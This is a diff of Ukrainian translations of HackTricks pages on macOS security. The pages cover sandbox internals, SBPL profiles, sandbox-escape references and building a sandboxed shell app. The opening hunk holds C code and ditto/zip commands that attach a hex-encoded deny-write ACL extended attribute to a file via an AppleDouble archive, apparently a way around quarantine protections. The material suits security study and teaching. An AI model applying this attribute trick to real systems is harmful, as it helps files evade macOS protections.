value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
|
||||
free(buf); }
|
||||
free(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
|
||||
print\_xattrs(filepath);
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0; }
|
||||
print_xattrs(filepath);
|
||||
|
||||
````
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -115,10 +177,24 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
````
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Пісочниця macOS
|
||||
# macOS Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
Пісочниця MacOS (спочатку називалася Seatbelt) **обмежує додатки**, які працюють всередині пісочниці, до **дозволених дій, вказаних у профілі пісочниці**, з якою працює додаток. Це допомагає забезпечити, що **додаток буде отримувати доступ лише до очікуваних ресурсів**.
|
||||
MacOS Sandbox (спочатку називався Seatbelt) **обмежує програми**, що працюють всередині пісочниці, до **дозволених дій, зазначених у профілі пісочниці**, з яким працює програма. Це допомагає забезпечити, що **програма буде отримувати доступ лише до очікуваних ресурсів**.
|
||||
|
||||
Будь-який додаток з **привілеєм** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарні файли Apple** зазвичай виконуються всередині пісочниці, і для публікації в **App Store** **цей привілей є обов'язковим**. Таким чином, більшість додатків будуть виконуватися всередині пісочниці.
|
||||
Будь-яка програма з **правом** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарні файли Apple** зазвичай виконуються всередині пісочниці, і для публікації в **App Store** **це право є обов'язковим**. Тому більшість програм буде виконуватися всередині пісочниці.
|
||||
|
||||
Для контролю того, що процес може або не може робити, **пісочниця має гачки** в усіх **системних викликах** по всьому ядру. **Залежно** від **привілеємів** додатка пісочниця буде **дозволяти** певні дії.
|
||||
Щоб контролювати, що процес може або не може робити, **пісочниця має хуки** у всіх **системних викликах** по всьому ядру. **Залежно** від **прав** програми пісочниця **дозволить** певні дії.
|
||||
|
||||
Деякі важливі компоненти пісочниці:
|
||||
|
||||
* Розширення ядра `/System/Library/Extensions/Sandbox.kext`
|
||||
* Приватний фреймворк `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* Демон, що працює в userland `/usr/libexec/sandboxd`
|
||||
* **Розширення ядра** `/System/Library/Extensions/Sandbox.kext`
|
||||
* **Приватна бібліотека** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* **Демон**, що працює в користувацькому просторі `/usr/libexec/sandboxd`
|
||||
* **Контейнери** `~/Library/Containers`
|
||||
|
||||
У папці контейнерів ви можете знайти **папку для кожного додатка, який виконується в пісочниці** з назвою ідентифікатора пакета:
|
||||
Всередині папки контейнерів ви можете знайти **папку для кожної програми, виконуваної в пісочниці**, з назвою ідентифікатора пакета:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
У кожній папці з ідентифікатором пакета ви знайдете **plist** та **каталог Data** додатка:
|
||||
Всередині кожної папки з ідентифікатором пакету ви можете знайти **plist** та **каталог даних** програми:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що навіть якщо символьні посилання є там для "виходу" з пісочниці та доступу до інших папок, додатку все ще потрібно **мати дозволи** для доступу до них. Ці дозволи знаходяться всередині **`.plist`**.
|
||||
Зверніть увагу, що навіть якщо символічні посилання існують для "втечі" з пісочниці та доступу до інших папок, додаток все ще повинен **мати дозволи** для їх доступу. Ці дозволи знаходяться всередині **`.plist`**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Все створене/змінене за допомогою застосунку у пісочниці отримає атрибут **карантину**. Це запобігне виклику Gatekeeper, якщо пісочниця спробує виконати щось за допомогою **`open`**.
|
||||
Все, що створюється/модифікується пісочницею, отримає **атрибут карантину**. Це запобігатиме простору пісочниці, активуючи Gatekeeper, якщо пісочна програма намагатиметься виконати щось за допомогою **`open`**.
|
||||
{% endhint %}
|
||||
|
||||
### Профілі пісочниці
|
||||
|
||||
Профілі пісочниці - це файли конфігурації, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілю пісочниці (SBPL)**, яка використовує мову програмування [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
Профілі пісочниці - це конфігураційні файли, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілів пісочниці (SBPL)**, яка базується на [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) мові програмування.
|
||||
|
||||
Тут ви можете знайти приклад:
|
||||
Ось приклад:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
|
@ -140,28 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Перевірте це [**дослідження**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/), **щоб перевірити більше дій, які можуть бути дозволені або заборонені.**
|
||||
Перевірте це [**дослідження**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **щоб дізнатися більше про дії, які можуть бути дозволені або заборонені.**
|
||||
{% endhint %}
|
||||
|
||||
Важливі **системні служби** також працюють у власному **індивідуальному пісочниці**, таких як служба `mdnsresponder`. Ви можете переглянути ці індивідуальні **профілі пісочниці** в:
|
||||
Важливі **системні служби** також працюють у своїх власних кастомних **пісочницях**, таких як служба `mdnsresponder`. Ви можете переглянути ці кастомні **профілі пісочниці** у:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* Інші профілі пісочниці можна перевірити за посиланням [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
* Інші профілі пісочниці можна перевірити на [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
Додатки **App Store** використовують **профіль** **`/System/Library/Sandbox/Profiles/application.sb`**. В цьому профілі можна перевірити, які дозволи, такі як **`com.apple.security.network.server`**, дозволяють процесу використовувати мережу.
|
||||
Додатки з **App Store** використовують **профіль** **`/System/Library/Sandbox/Profiles/application.sb`**. Ви можете перевірити в цьому профілі, як права, такі як **`com.apple.security.network.server`**, дозволяють процесу використовувати мережу.
|
||||
|
||||
SIP - це профіль пісочниці, який називається platform\_profile в /System/Library/Sandbox/rootless.conf
|
||||
SIP - це профіль пісочниці, названий platform\_profile у /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### Приклади профілів пісочниці
|
||||
|
||||
Для запуску додатка з **конкретним профілем пісочниці** можна використовувати:
|
||||
Щоб запустити додаток з **конкретним профілем пісочниці**, ви можете використовувати:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="доторкнутися" %}
|
||||
{% code title="доторкнутися.sb" %}
|
||||
{% tab title="touch" %}
|
||||
{% code title="touch.sb" %}
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
|
@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що **програмне забезпечення, розроблене Apple**, яке працює на **Windows**, **не має додаткових заходів безпеки**, таких як ізоляція додатків.
|
||||
Зверніть увагу, що **програмне забезпечення**, написане **Apple**, яке працює на **Windows**, **не має додаткових заходів безпеки**, таких як пісочниця для додатків.
|
||||
{% endhint %}
|
||||
|
||||
Приклади обхідів:
|
||||
Приклади обходу:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (їм вдалося записати файли поза пісочницею, ім'я яких починається на `~$`).
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (вони можуть записувати файли за межами пісочниці, назва яких починається з `~$`).
|
||||
|
||||
### Профілі пісочниці MacOS
|
||||
|
||||
macOS зберігає системні профілі пісочниці в двох місцях: **/usr/share/sandbox/** та **/System/Library/Sandbox/Profiles**.
|
||||
macOS зберігає профілі системної пісочниці у двох місцях: **/usr/share/sandbox/** та **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
І якщо сторонній додаток має entitlement _**com.apple.security.app-sandbox**_, система застосовує профіль **/System/Library/Sandbox/Profiles/application.sb** до цього процесу.
|
||||
І якщо сторонній додаток має право _**com.apple.security.app-sandbox**_, система застосовує профіль **/System/Library/Sandbox/Profiles/application.sb** до цього процесу.
|
||||
|
||||
### **Профіль пісочниці iOS**
|
||||
|
||||
Стандартний профіль називається **container**, і у нас немає текстового представлення SBPL. У пам'яті ця пісочниця представлена як дерево бінарних дозволів/заборон для кожного дозволу з пісочниці.
|
||||
За замовчуванням профіль називається **container**, і у нас немає текстового представлення SBPL. У пам'яті ця пісочниця представлена як бінарне дерево Allow/Deny для кожного дозволу з пісочниці.
|
||||
|
||||
### Налагодження та обхід пісочниці
|
||||
### Налагодження та обход пісочниці
|
||||
|
||||
На macOS, на відміну від iOS, де процеси з початку ізольовані ядром, **процеси повинні самі вибирати пісочницю**. Це означає, що на macOS процес не обмежується пісочницею, поки він активно не вирішить увійти в неї.
|
||||
На macOS, на відміну від iOS, де процеси з самого початку ізольовані ядром, **процеси повинні самостійно вибрати пісочницю**. Це означає, що на macOS процес не обмежений пісочницею, поки він активно не вирішить увійти в неї.
|
||||
|
||||
Процеси автоматично входять в пісочницю з userland при запуску, якщо вони мають entitlement: `com.apple.security.app-sandbox`. Для докладного пояснення цього процесу перегляньте:
|
||||
Процеси автоматично потрапляють у пісочницю з користувацького простору, коли вони запускаються, якщо у них є право: `com.apple.security.app-sandbox`. Для детального пояснення цього процесу дивіться:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
|
@ -240,20 +241,20 @@ macOS зберігає системні профілі пісочниці в д
|
|||
|
||||
### **Перевірка привілеїв PID**
|
||||
|
||||
[**Згідно з цим**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (це `__mac_syscall`) може перевірити, **чи дозволена операція чи ні** пісочницею в певному PID.
|
||||
[**Згідно з цим**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (це `__mac_syscall`), може перевірити, **чи дозволена операція чи ні** пісочницею для певного PID.
|
||||
|
||||
Інструмент [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) може перевірити, чи може PID виконати певну дію:
|
||||
[**Інструмент sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) може перевірити, чи може PID виконати певну дію:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### Користувацький SBPL в додатках App Store
|
||||
### Custom SBPL in App Store apps
|
||||
|
||||
Для компаній можливо зробити так, щоб їх додатки працювали **з користувацькими профілями пісочниці** (замість стандартного). Для цього вони повинні використовувати entitlement **`com.apple.security.temporary-exception.sbpl`**, який повинен бути схвалений Apple.
|
||||
Можливо, що компанії можуть змусити свої додатки працювати **з кастомними профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати Apple.
|
||||
|
||||
Можливо перевірити визначення цього entitlement у **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
Можна перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -261,18 +262,19 @@ sbtool <pid> all
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Це **оцінить рядок після цього дозволу** як профіль пісочниці.
|
||||
Це **оцінить рядок після цього права** як профіль Sandbox.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,21 @@
|
|||
# macOS Default Sandbox Debug
|
||||
|
||||
## Налаштування за замовчуванням пісочниці macOS
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
На цій сторінці ви знайдете, як створити додаток для запуску довільних команд зсередини пісочниці за замовчуванням macOS:
|
||||
На цій сторінці ви можете знайти, як створити додаток для запуску довільних команд зсередини стандартного пісочниці macOS:
|
||||
|
||||
1. Скомпілюйте додаток:
|
||||
|
||||
|
@ -52,10 +51,9 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Скомпілюйте його, виконавши: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. Побудуйте пакет `.app`
|
||||
Скомпілюйте його, запустивши: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. Створіть пакет `.app`
|
||||
```bash
|
||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||
|
@ -77,9 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
3. Визначте права
|
||||
|
||||
3. Визначте привілеї
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="пісочниця" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -92,27 +91,45 @@ cat << EOF > entitlements.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
|
||||
|
||||
\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. Підпишіть додаток (вам потрібно створити сертифікат у ключовому ланцюжку) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
||||
## An d in case you need this in the future
|
||||
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
|
||||
{% tab title="пісочниця + завантаження" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<true/>
|
||||
<key>com.apple.security.files.downloads.read-write</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
4. Підпишіть додаток (вам потрібно створити сертифікат у ключниці)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
||||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
